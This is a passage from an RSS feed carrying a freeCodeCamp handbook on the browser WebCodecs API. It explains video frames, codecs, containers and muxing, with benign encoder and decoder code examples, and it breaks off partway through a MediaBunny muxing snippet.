<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ HTML5 - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ HTML5 - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 25 May 2026 22:37:40 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/html5/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ The WebCodecs Handbook: Native Video Processing in the Browser  ]]>
                </title>
                <description>
                    <![CDATA[ If you've ever tried to process video in the browser, like for a video editing or streaming app, your options were either to process video on a server (expensive) or to use ffmpeg.js (clunky). With th ]]>
                </description>
                <link>https://www.freecodecamp.org/news/the-webcodecs-handbook-native-video-processing-in-the-browser/</link>
                <guid isPermaLink="false">69d6bc21707c1ce7688010d3</guid>
                
                    <category>
                        <![CDATA[ video ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #WebCodecs  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sam Bhattacharyya ]]>
                </dc:creator>
                <pubDate>Wed, 08 Apr 2026 20:35:45 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/9b0978d4-7d8c-464c-ade0-07d007f56d92.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you've ever tried to process video in the browser, like for a video editing or streaming app, your options were either to process video on a server (expensive) or to use ffmpeg.js (clunky). With the WebCodecs API, there's now a better way to do this.</p>
<p>WebCodecs is a relatively new API that allows browser applications to process video efficiently with very low-level control.</p>
<p>In the past, if you wanted to build, say, a video-editing app or live-streaming studio or anything that required 'heavy lifting', you needed to build a native desktop application. Many SaaS tools like Canva got around this with server-side video processing, which provided a much better UX, but which is much more complex and expensive.</p>
<p>With WebCodecs, it's now possible to build these apps entirely in the browser, without requiring users to download and install software, and without expensive, complex server infrastructure.</p>
<p>This isn't theoretical. Video Editing tools like Capcut saw an 83% boost in traffic after switching to WebCodecs + WebAssembly [<a href="https://web.dev/case-studies/capcut?hl=en">1</a>]. Utility apps like <a href="https://www.remotion.dev/convert">Remotion Convert</a> and <a href="https://free.upscaler.video/">Free AI Video Upscaler</a> (both open source) process thousands of videos a day with zero server costs and no installation required [<a href="https://web.dev/case-studies/ai-video-upscaler-case-study">2</a>].</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/73f19be2-b746-421c-888f-7431962520d7.png" alt="Remotion Convert" style="display:block;margin:0 auto" width="630" height="566" loading="lazy">

<p>WebCodecs is even being used for entirely new use cases, like generating videos programatically [<a href="https://github.com/remotion-dev/remotion">3</a>].</p>
<p>If you're building any kind of video app, it's worthwhile to at least know about WebCodecs as an option for working with video in the browser.</p>
<p>In this guide, we will:</p>
<ol>
<li><p>Review the basics of Video Processing</p>
</li>
<li><p>Introduce the WebCodecs API</p>
</li>
<li><p>Discuss Muxing + Demuxing to read and write video files</p>
</li>
<li><p>Build our own video conversion utility to convert videos between webm + mp4, and apply basic transformations</p>
</li>
<li><p>Cover some production-level concerns</p>
</li>
<li><p>Discuss additional resources</p>
</li>
</ol>
<p>The goal of this article is to be a practical entry point and introduction to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API">WebCodecs API</a> for frontend developers. It'll teach you how the API works and what you can do with it. I'll assume you know the basics of Javascript but you don't need to be a senior developer or a video engineer to follow along.</p>
<p>At the end, I'll mention additional learning resources and references. In future tutorials, I'll go more in-depth on specific topics like building a video editor, or doing live-streaming with WebCodecs. But this handbook should provide a solid starting point for what WebCodecs is, what it can do, and how to build a basic application with it.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a href="#heading-primer-on-video-processing">Primer on Video Processing</a></p>
<ul>
<li><p><a href="#heading-video-frames">Video Frames</a></p>
</li>
<li><p><a href="#heading-codecs">Codecs</a></p>
</li>
<li><p><a href="#heading-encoding-amp-decoding">Encoding &amp; Decoding</a></p>
</li>
<li><p><a href="#heading-containers">Containers</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-what-is-webcodecs">What is WebCodecs?</a></p>
<ul>
<li><p><a href="#heading-before-webcodecs">Before WebCodecs</a></p>
</li>
<li><p><a href="#heading-core-api">Core API</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-muxing-and-demuxing">Muxing and Demuxing</a></p>
<ul>
<li><p><a href="#heading-demuxing">Demuxing</a></p>
</li>
<li><p><a href="#heading-muxing">Muxing</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-building-a-video-converter-utility">Building a Video Converter Utility</a></p>
<ul>
<li><p><a href="#heading-transcoding">Transcoding</a></p>
</li>
<li><p><a href="#heading-transformations">Transformations</a></p>
</li>
<li><p><a href="#heading-transform-pipeline">Transform Pipeline</a></p>
</li>
<li><p><a href="#heading-complete-demo">Complete Demo</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-production-concerns">Production Concerns</a></p>
<ul>
<li><p><a href="#heading-codecs-1">Codecs</a></p>
</li>
<li><p><a href="#heading-bit-rate">Bit rate</a></p>
</li>
<li><p><a href="#heading-gpu-vs-cpu">GPU vs CPU</a></p>
</li>
<li><p><a href="#heading-memory">Memory</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-further-resources">Further Resources</a></p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>You don't need to be a video engineer to follow along, but you should be comfortable with:</p>
<ul>
<li><p>Core JavaScript, including async/await and callbacks</p>
</li>
<li><p>Basic browser APIs like fetch and the DOM</p>
</li>
<li><p>What a File object is and how file inputs work in HTML</p>
</li>
<li><p>A general sense of what HTML5 is (we'll use it briefly, but won't go deep)</p>
</li>
</ul>
<p>No prior knowledge of video processing, codecs, or media APIs is required — that's what the first half of this handbook covers.</p>
<h2 id="heading-primer-on-video-processing">Primer on Video Processing</h2>
<p>Hold your bunnies, because before getting into WebCodecs, I want to make sure you're aware of what codecs are before we even consider putting codecs on the web.</p>
<h3 id="heading-video-frames">Video Frames</h3>
<p>I presume you know what a video is. Ironically the 'video' below is actually a gif, but you get the idea.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/0e95c1f7-d384-4065-bba9-4dade19ce6f8.gif" alt="Big Buck Bunny, an opensource video" style="display:block;margin:0 auto" width="320" height="180" loading="lazy">

<p>Videos are just a series of images, shown one after the other, in quick succession. Each image is called a <em>Video Frame</em>, and each frame is associated with a timestamp. When a video player plays back the video, it displays each video frame at the time indicated by the timestamp.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/26f534e8-f828-41ec-9bcd-de059916f528.png" alt="Video Frames" style="display:block;margin:0 auto" width="540" height="360" loading="lazy">

<p>Every frame in the video is made of pixels, with a 4K video frame containing approximately 8 million pixels (3840*2160 = 8294400).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/2c73397d-2d9f-4091-8b32-fa7a5dac115f.png" alt="VideoFrames have pixels" style="display:block;margin:0 auto" width="960" height="540" loading="lazy">

<p>Each pixel itself is actually made of 3 components: a Red, Green, and Blue value (also called RGB value).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/2fc2b555-265b-4d6a-8670-981e197c6566.svg" alt="RGB Channels" style="display:block;margin:0 auto" width="1152" height="288" loading="lazy">

<p>Each of of the R, G and B color values is stored as an 8-bit integer, ranging from 0 to 255, with the number indicating the intensity of the red, green, or blue color component.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/d9d7ae0b-e67b-4cbb-b21a-867108cd3303.png" alt="uint8 color channel" style="display:block;margin:0 auto" width="960" height="384" loading="lazy">

<p>Combining the intensity of each of the R, G, and B components lets you represent any arbitrary color on the color spectrum:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/adbeb63b-20b8-4ddb-9b7f-83c88f86e09d.png" alt="RGB Color value examples" style="display:block;margin:0 auto" width="1152" height="1152" loading="lazy">

<p>So for each pixel, we need 3 bytes of data: 1 byte for each of the R, G, and B color values (1 byte = 8 bits). A 4K video frame therefore would contain ~25 Megabytes of data.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/2fc2b555-265b-4d6a-8670-981e197c6566.svg" alt="RGB Channnels" style="display:block;margin:0 auto" width="1152" height="288" loading="lazy">

<p>At 30 frames per second (a typical frame rate), a 1 hour, 4K video would be around <strong>746 Gigabytes of data</strong>. If you've ever downloaded a large video or recorded HD video with your phone camera, you'll know that video files can be large, but they're never <em>that</em> large.</p>
<p>In reality, actual video files you might watch on YouTube, record on your phone camera, or download from the internet are ~100x smaller than that. The reason actual video files are much smaller is because of <em>video compression</em>, a family of very sophisticated algorithms that help reduce the data by ~100x.</p>
<p>Without this video compression, you wouldn't be able to record more than 10 minutes of video on the latest high-end smartphones, and you wouldn't be able to stream anything HD on a high-end home internet connection.</p>
<p>As sophisticated as our modern devices and internet connections are, without aggressive video compression, we wouldn't be able to watch, record, or stream anything in HD.</p>
<h3 id="heading-codecs">Codecs</h3>
<p>A <em>codec</em> is a fancy word for a video compression algorithm. There are a few established codecs / compression algorithms, such as:</p>
<ul>
<li><p><code>h264</code>: The most common codec. If you see an mp4 file, it most likely uses the h264 codec.</p>
</li>
<li><p><code>vp9</code>: An open source codec used commonly by YouTube and in video conferencing, often found in webm files.</p>
</li>
<li><p><code>av1</code>: A new open source codec, increasingly being used by platforms like YouTube and Netflix.</p>
</li>
</ul>
<p>How these algorithms work is too complex and out of scope for this handbook. But at a very high level, here are some major ways these algorithms compress video:</p>
<h4 id="heading-removing-detail">Removing detail</h4>
<p>All these algorithms use a technique called the Discrete Cosine Transform to "remove details". As you remove "detail" from the video frame, the frame starts looking "blockier". This technique is so effective, though, that you can compress a video frame by ~10x before the differences start becoming visible to the human eye.</p>
<p>For the curious, you can see <a href="https://www.youtube.com/watch?v=n_uNPbdenRs">this video</a> by Computerphile on how the DCT algorithm works.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/f2b3eac4-c36a-4943-a176-4f2af72cfbac.png" alt="DCT algorithm removing details" style="display:block;margin:0 auto" width="1920" height="480" loading="lazy">

<h4 id="heading-encoding-frame-differences">Encoding frame differences</h4>
<p>When you actually look at a sequence of video frames, you'll notice that visually they're quite similar, with only small portions of the video changing, depending on how much movement there is.</p>
<p>These codecs/compression algorithms use sophisticated math and computer vision techniques to encode just the differences between frames,.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/40d309dd-84fc-4018-8da4-1438bbfb8df6.png" alt="Frame Differences" style="display:block;margin:0 auto" width="960" height="288" loading="lazy">

<p>You therefore only need to send the first frame (a <em>Key Frame</em>) – then for subsequent frames you can send the "frame differences", also called <em>Delta Frames</em>, to reconstruct the each full frame.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/66bbe03f-c394-477d-a3c2-64b571c39348.png" alt="Key Frames vs Delta frames" style="display:block;margin:0 auto" width="960" height="288" loading="lazy">

<p>In practice, for an hour long video, we don't just encode the first frame and store millions of delta frames. Instead, algorithms encode every 60th frame or so as a Key Frame, and then the next 59 frames are delta frames.</p>
<p>This technique is also highly effective, reducing data used by another ~10x. The distinction between <em>Key Frames</em> and <em>Delta Frames</em> is one of the few bits of "how these algorithms work" that you actually need to be aware of.</p>
<p>There's a number of other details and compression techniques that go into these compression algorithms that are out of scope for an intro article.</p>
<h3 id="heading-encoding-amp-decoding">Encoding &amp; Decoding</h3>
<p>For video compression to work, we need to be able to both compress video (turn raw video into compressed binary data) and then decompress video (turn the compressed binary data back into raw video frames).</p>
<p>Turning raw video frames into compressed binary data is called <em>encoding</em>, and turning compressed binary data back into raw video frames is called <em>decoding.</em> The word <em>codec</em> is just an abbreviation for "encode decode".</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/843e75e0-4453-4e3e-91d5-a441f1a8e2ff.png" alt="VideoEncoder and VideoDecoder" style="display:block;margin:0 auto" width="960" height="384" loading="lazy">

<p>From a practical, developer perspective, you don't need to know how these codecs work, but you do need to know that:</p>
<ol>
<li><p>There are different video codecs, like <code>h264</code>, <code>vp9</code>, and <code>av1</code></p>
</li>
<li><p>When you encode a video with a codec (like <code>h264</code>), you need a video player that can support the same codec to play back the video.</p>
</li>
<li><p>Encoding video takes a lot more computation than decoding video, so playing 4K video on a low-end phone is fine, but encoding 4K video on it would be super slow.</p>
</li>
<li><p>Most consumer devices (phones, laptops) have specialized chips designed specifically for encoding and decoding video, making encoding/decoding much faster than if run on the CPU like a normal software program. This is called <em>hardware acceleration.</em></p>
</li>
</ol>
<p>In practice, there are only a handful of video codecs, because the entire world needs to agree on standards, so that video recorded on an iPhone can be played back on a windows device.</p>
<h3 id="heading-containers">Containers</h3>
<p>Most people haven't heard of <code>h264</code> or <code>vp9</code>. When you think of video files, you typically think of file formats like MP4 or MKV. These are also relevant, but they're a separate thing called containers.</p>
<p>A video file typically has encoded audio, encoded video, and metadata about the video file. A file format like MP4 describes a specific format for storing the encoded audio and video data, as well as the metadata.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/961e7177-e331-4aa2-acdc-9d6732f18c56.png" alt="Video Container" style="display:block;margin:0 auto" width="624" height="720" loading="lazy">

<p>Video compression software stores the encoded audio/video and metadata into a file according to the file format / specs. This is called <em>muxing.</em></p>
<p>Likewise, video players follow the file format specs to read the metadata and find the encoded audio/video. This is called <em>demuxing</em>.</p>
<p>When compressing a video file, you need to both <em>encode</em> it and <em>mux</em> it (in that order). These are two separate stages of the process. Likewise, when playing a video file, you need to both <em>demux</em> it and then <em>decode</em> it (in that order).</p>
<p>When a video player opens, say, an mp4 file, the logic flow is as follows:</p>
<ul>
<li><p>Ok, the file ends in .mp4, so it must be an mp4 file. Let me load the library for parsing mp4 files, and parse then parse file.</p>
</li>
<li><p>Great, I've parsed the mp4 file, I now have the metadata and know where in the byte offsets are to fetch the encoded audio and video.</p>
</li>
<li><p>I'll start fetching the first encoded video frames, decode them, and start displaying the decoded video frame to the user.</p>
</li>
</ul>
<p>If you ever see a "video file is corrupt" message from a video player, it's likely that the video file doesn't follow the file format spec and there was an error while trying the parse / demux the video.</p>
<h2 id="heading-what-is-webcodecs">What is WebCodecs?</h2>
<p>Now that we've covered codecs, let's put them on the Web.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/3fc9d220-f397-479a-9517-6b8dc94aaa6b.png" alt="WebCodecs = Web + Codecs" style="display:block;margin:0 auto" width="960" height="288" loading="lazy">

<p>WebCodecs is an API that allows frontend developers to encode and decode video in the browser efficiently (using hardware acceleration), and with very low level control (encode/decode on a frame by frame basis).</p>
<p>The hardware acceleration bit is important, as you can't just poly fill or re-implement the API yourself. WebCodecs gives direct access to specialized hardware for encoding/decoding, making it as performant as a desktop video app.</p>
<h3 id="heading-before-webcodecs">Before WebCodecs</h3>
<p>It's worth taking a moment to understand why WebCodecs exists. Before the WebCodecs API existed, there were several alternatives you could use for video operations in the browser.</p>
<ul>
<li><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement</a>: You can still create a element and use it for decoding a video. It's easy to use, but you lack frame level control. Your only control is setting the 'video.currrentTime' property and waiting for it to seek, often leading to dropped/missing frames.</p>
</li>
<li><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaRecorder">Media Recorder API</a>: Essentially allows you to 'screen record' any canvas element or video stream. While it works, it's functionally equivalent to screen recording Adobe Premeire pro instead of clicking render. For editing scenarios, you lose frame level control and can only process video at real-time speed.</p>
</li>
<li><p><a href="https://github.com/Kagami/ffmpeg.js/">FFMPEG.js</a>: A port of the popular video processing tool ffmpeg, which runs ffmpeg in the browser. Many tools used this in the past, but it lacks hardware acceleration, making it much slower than WebCodecs. It also has file size restrictions stemming from the fact that it runs in WebAssembly, making it difficult to work with videos that are larger than 100 MB.</p>
</li>
</ul>
<p>WebCodecs was built and released in 2021 to enable low-level, hardware accelerated video decoding and encoding. It's great for high-performance streaming and video editing, which were use cases not well-served by the existing APIs.</p>
<h3 id="heading-core-api">Core API</h3>
<p>The core API for WebCodecs consists of two new "data types", the <em>VideoFrame</em> and <em>EncodedVideoChunk</em>, as well as the <em>VideoEncoder</em> and <em>VideoDecoder</em> interfaces.</p>
<h4 id="heading-videoframe">VideoFrame</h4>
<p>The Javascript <em>VideoFrame</em> object conceptually contains both pixel data and metadata about the video frame.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/bd341249-fab6-4c76-85b4-dd21d8de10f6.svg" alt="VideoFrame object" style="display:block;margin:0 auto" width="1920" height="816" loading="lazy">

<p>You can actually create a new <em>VideoFrame</em> object from any image source, as long as you include the metadata:</p>
<pre><code class="language-javascript">const bitmapFrame = new VideoFrame(imgBitmap, {timestamp: 0});

const imageFrame = new VideoFrame(htmlImageEl, {timestamp: 0});

const videoFrame = new VideoFrame(htmlVideoEl, {timestamp: 0});

const canvasFrame = new VideoFrame(canvasEl, {timestamp: 0});
</code></pre>
<p>For a video editing app, for example, you would typically perform image editing operations on each frame on a canvas, and then you would grab each <em>VideoFrame</em> from the canvas.</p>
<p>You can also draw a <em>VideoFrame</em> to a canvas using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D">Canvas 2D rendering context</a>:</p>
<pre><code class="language-typescript">ctx.drawImage(frame, 0, 0);
</code></pre>
<p>You would typically do this when rendering / playing back a video in the browser.</p>
<h4 id="heading-encodedvideochunk">EncodedVideoChunk</h4>
<p>An <em>EncodedVideoChunk</em> is just the compressed version of a <em>VideoFrame,</em> containing the binary data as well as the same metadata as the frame.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/d20b9306-03ae-48a8-b10a-f462f4a620e2.svg" alt="EncodedVideoChunk" style="display:block;margin:0 auto" width="1728" height="816" loading="lazy">

<p>You would typically get <em>EncodedVideoChunks</em> from a library which extracts them from a <em>File</em> object.</p>
<pre><code class="language-typescript">import { getVideoChunks } from 'webcodecs-utils'

const chunks = &lt;EncodedVideoChunk[]&gt; await getVideoChunks(&lt;File&gt; file);
</code></pre>
<p>Alternatively, it's the output you get from a <em>VideoEncoder</em> object.</p>
<p>There's not much useful stuff you can do with <em>EncodedVideoChunks</em> – it's just the binary data that you read from files, write to files, or stream over the internet.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/c5778116-44ec-4fb7-8f35-6ebd2f2a8d15.gif" alt="Video streaming with encode and decode" style="display:block;margin:0 auto" width="800" height="560" loading="lazy">

<p>The value in <em>EncodedVideoChunk</em> is that it's ~100x smaller than raw video data, which is why you'd send <em>EncodedVideoChunks</em> instead of raw video when streaming (and writing to a file).</p>
<h4 id="heading-videoencoder">VideoEncoder</h4>
<p>A <em>VideoEncoder</em> turns <em>VideoFrame</em> objects into <em>EncodedVideoChunk</em> objects.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/612a6f6a-04c6-4f24-aebd-074f232cd06e.svg" alt="VideoEncoder" style="display:block;margin:0 auto" width="960" height="384" loading="lazy">

<p>The core API looks something like this, where you define the callback where the <em>VideoEncoder</em> returns <em>EncodedVideoChunk</em> objects.</p>
<pre><code class="language-typescript">const encoder = new VideoEncoder({
    output: function(chunk: EncodedVideoChunk, meta: any){
        // Do something with the chunk
    },
    error: function(e: any)=&gt; console.warn(e);
});
</code></pre>
<p>Keep in mind that this is an async process, and not even a typical async process. You can't just treat this as a per-frame operation.</p>
<pre><code class="language-javascript">// Does not work like this
const frame  = await encoder.encode(chunk);
</code></pre>
<p>This is because of how video encoding actually works under the hood. So you have to accept that the outputs are returned via callback, and you get the outputs when you get them.</p>
<p>Once you define your encoder, you can then configure the <em>VideoEncoder</em> with your choice of codec (we'll get to this), as well as other parameters like width, height, framerate and bitrate.</p>
<pre><code class="language-typescript">encoder.configure({
    'codec': 'vp9.00.10.08.00', // We'll get to this
     width: 1280,
     height: 720,
     bitrate: 1000000 //1 MBPS,
     framerate: 25
});
</code></pre>
<p>You can then start encoding frames. Here we assume we already have <em>VideoFrame</em> objects, and we make every 60th frame a <em>Key Frame</em>.</p>
<pre><code class="language-typescript">for (let i=0; i &lt; frames.length; frames++){
    encoder.encode(frames[i], {keyFrame: i%60 ==0})
}
</code></pre>
<h4 id="heading-videodecoder">VideoDecoder</h4>
<p>The Video Decoder does the reverse, turning <em>EncodedVideoChunk</em> objects into <em>VideoFrame</em> objects.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/47258dd5-0a7b-479a-8729-6f384ff8bc4b.svg" alt="VideoDecoder" style="display:block;margin:0 auto" width="960" height="384" loading="lazy">

<p>Here's a simplified example of how to set up the <em>VideoDecoder.</em> First, extract the <em>EncodedVideoChunk</em> objects and the decoder config from the video file. Here, we don't choose the config&nbsp;– the config was chosen by whoever encoded the file. When decoding, we extract the config from the file.</p>
<pre><code class="language-typescript">import { demuxVideo } from 'webcodecs-utils';

const {chunks, config} = await demuxVideo(&lt;File&gt; file);
</code></pre>
<p>Next, we set up the <em>VideoDecoder</em> by specifying the callback when <em>VideoFrame</em> objects are generated, and we configure it with the config.</p>
<pre><code class="language-typescript">const decoder = new VideoDecoder({
    output: function(frame: VideoFrame){
        //do something with the VideoFrame
    },
    error: function(e: any)=&gt; console.warn(e);
});

decoder.configure(config)
</code></pre>
<p>Again, like with <em>VideoEncoder</em>, it returns frames in a callback. Finally we can start decoding chunks.</p>
<pre><code class="language-typescript">for (const chunk of chunks){
    decoder.decode(chunk);
}
</code></pre>
<h4 id="heading-putting-it-all-together">Putting it all together</h4>
<p>At its core, the WebCodecs API is just the two data types (<em>EncodedVideoChunk, VideoFrame)</em> and the <em>VideoEncoder</em> and <em>VideoDecoder</em> interfaces which convert between the two data types.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/444553ad-58af-4b0e-ba46-d8910d3d548b.svg" alt="The core of WebCodecs" style="display:block;margin:0 auto" width="960" height="384" loading="lazy">

<p>Keep in mind that the WebCodecs API doesn't actually work with video files. It only applies the encoding and decoding, and <em>EncodedVideoChunk</em> objects just represent binary data.</p>
<p>Reading video files and writing video files are their own, separate thing called muxing/demuxing.</p>
<h2 id="heading-muxing-and-demuxing">Muxing and Demuxing</h2>
<p>To write to a video file, you'll also need to <em>mux</em> the video. And to play a video file, you need to <em>demux</em> the video. This involves following the file format of the video container, parsing the video file (in the case of demuxing), or placing encoded video data in the right place in the file you are writing to (muxing).</p>
<p>Muxing and Demuxing are not included in the WebCodecs API, so you'll need to use a separate library to handle muxing and demuxing.</p>
<h3 id="heading-demuxing">Demuxing</h3>
<p>To play a video back in the browser, we need to both <em>demux</em> the video and <em>decode</em> the video, in that order.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/6e0459e9-f960-43dd-a1e3-a214091c439e.png" alt="Demuxing and decoding" style="display:block;margin:0 auto" width="960" height="720" loading="lazy">

<p>There are several libraries you can use to demux videos, including <a href="http://mediabunny.dev/">MediaBunny</a> or <a href="https://github.com/bilibili/web-demuxer">web-demuxer</a>. For the purposes of this tutorial, I put a very simplified wrapper around these libraries and exposed it in the <a href="https://www.npmjs.com/package/webcodecs-utils">webcodecs-utils</a> package, so that demuxing is a very simple 2-liner:</p>
<pre><code class="language-typescript">import { demuxVideo } from 'webcodecs-utils'
const {chunks, config} = await demuxVideo(file);
</code></pre>
<p>This reads the entire video into memory, so don't do this in practice. But it's helpful in making a simple, readable hello world for WebCodecs.</p>
<p>The following snippet will take in a video file (<em>File</em> object), decode it, and paint the result to a canvas. Here, we get the frames from the output callback, and run the draw calls directly from the callback.</p>
<pre><code class="language-typescript">import { demuxVideo } from 'webcodecs-utils'

async function playFile(file: File){

    const {chunks, config} = await demuxVideo(file);
    const canvas = document.createElement('canvas');
    const ctx = canvas.getContext('2d');

    const decoder = new VideoDecoder({
        output(frame: VideoFrame) {
            ctx.drawImage(frame, 0, 0);
            frame.close()
        },
        error(e) {}
    });


    decoder.configure(config);

    for (const chunk of chunks){
        decoder.decode(chunk)
    }

}
</code></pre>
<p>Here's our super barebones demo for playing back an actual video:</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/OPRErmj" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<p>For a more 'correct' demuxing example, here is what demuxing looks like with MediaBunny, where you can extract chunks in an iterative fashion.</p>
<pre><code class="language-typescript">import { EncodedPacketSink, Input, ALL_FORMATS, BlobSource } from 'mediabunny';

const input = new Input({
  formats: ALL_FORMATS,
  source: new BlobSource(&lt;File&gt; file),
});

const videoTrack = await input.getPrimaryVideoTrack();
const sink = new EncodedPacketSink(videoTrack);

for await (const packet of sink.packets()) {
  const chunk = &lt;EncodedVideoChunk&gt; packet.toEncodedVideoChunk();
}
</code></pre>
<h3 id="heading-muxing">Muxing</h3>
<p>To write a video file, you not only need to encode it (with the <em>VideoEncoder</em>) you also need to <em>mux</em> it. This involves taking the encoded chunks and placing them in the right place in the output binary file that you're writing to.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/176ef792-e761-46d5-badf-58fd08d78552.png" alt="Muxing and Encoding" style="display:block;margin:0 auto" width="960" height="624" loading="lazy">

<p>Again, you need a library to mux videos ( <a href="http://mediabunny.dev/">MediaBunny</a>), but for demo purposes I created a super simple wrapper. Here we define a super basic ExampleMuxer.</p>
<pre><code class="language-typescript">import { ExampleMuxer } from 'webcodecs-utils'

const muxer = new ExampleMuxer('video');

for (const chunk of encodedChunks){
    muxer.addChunk(chunk);
}

const outputBlob = await muxer.finish();
</code></pre>
<p>As a full encoding + muxing demo, we'll create an encoder, and we'll set it to mux the output encoded chunks as soon as they are returned.</p>
<pre><code class="language-typescript">const encoder = new VideoEncoder({
    output: function(chunk, meta){
        muxer.addChunk(chunk, meta);
    },
    error: function(e){}
})

encoder.configure({
    'codec': 'avc1.4d0034', // We'll get to this
     width: 1280,
     height: 720,
     bitrate: 1000000 //1 MBPS,
     framerate: 25
});
</code></pre>
<p>We'll then define a canvas animation, which will draw the current frame number to the screen, just to prove it's working.</p>
<pre><code class="language-typescript">const canvas = new OffscreenCanvas(640, 360);
const ctx = canvas.getContext('2d');
const TOTAL_FRAMES=300;
let frameNumber = 0;
let chunksMuxed = 0;
const fps = 30;


function renderFrame(){
    ctx.fillStyle = '#000';
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = 'white';
    ctx.font = `bold ${Math.min(canvas.width / 10, 72)}px Arial`;
    ctx.textAlign = 'center';
    ctx.textBaseline = 'middle';
    ctx.fillText(`Frame ${frameNumber}`, canvas.width / 2, canvas.height / 2);
}
</code></pre>
<p>Finally we'll create the encode loop, which will draw the current frame, and then encode it.</p>
<pre><code class="language-typescript">
let flushed = false;

async function encodeLoop(){

    renderFrame();

    const frame = new VideoFrame(canvas, {timestamp: frameNumber/fps*1e6});
    encoder.encode(frame, {keyFrame: frameNumber %60 ===0});
    frame.close();

    frameNumber++;

    if(frameNumber === TOTAL_FRAMES) {
        if (!flushed) encoder.flush();
    }
    else return requestAnimationFrame(encodeLoop);
}
</code></pre>
<p>Putting it all together, you can encode the canvas animation to a video file with frame-level accuracy.</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/KwgebEJ" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<p>You can download the video and use any video inspection tool to verify that every single frame number is included.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/776d6db5-f67c-4538-8e7d-f61e35e698ce.png" alt="Videos with frame level accuracy" style="display:block;margin:0 auto" width="915" height="630" loading="lazy">

<p>This is one of the critical distinctions that separates this from other web APIs like <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaRecorder">MediaRecorder</a> which can also encode video, but has no frame-level accuracy. WebCodecs makes sure that you can control and guarantee the consistency of each frame.</p>
<p>Finally, a proper full, muxing example using MediaBunny would look like this:</p>
<pre><code class="language-typescript">import {
  EncodedPacket,
  EncodedVideoPacketSource,
  BufferTarget,
  Mp4OutputFormat,
  Output
} from 'mediabunny';

async function muxChunks(chunks: EncodedVideoChunk[]): Promise &lt;Blob&gt;{

    const output = new Output({
        format: new Mp4OutputFormat(),
        target: new BufferTarget(),
    });

    const source = new EncodedVideoPacketSource('avc');
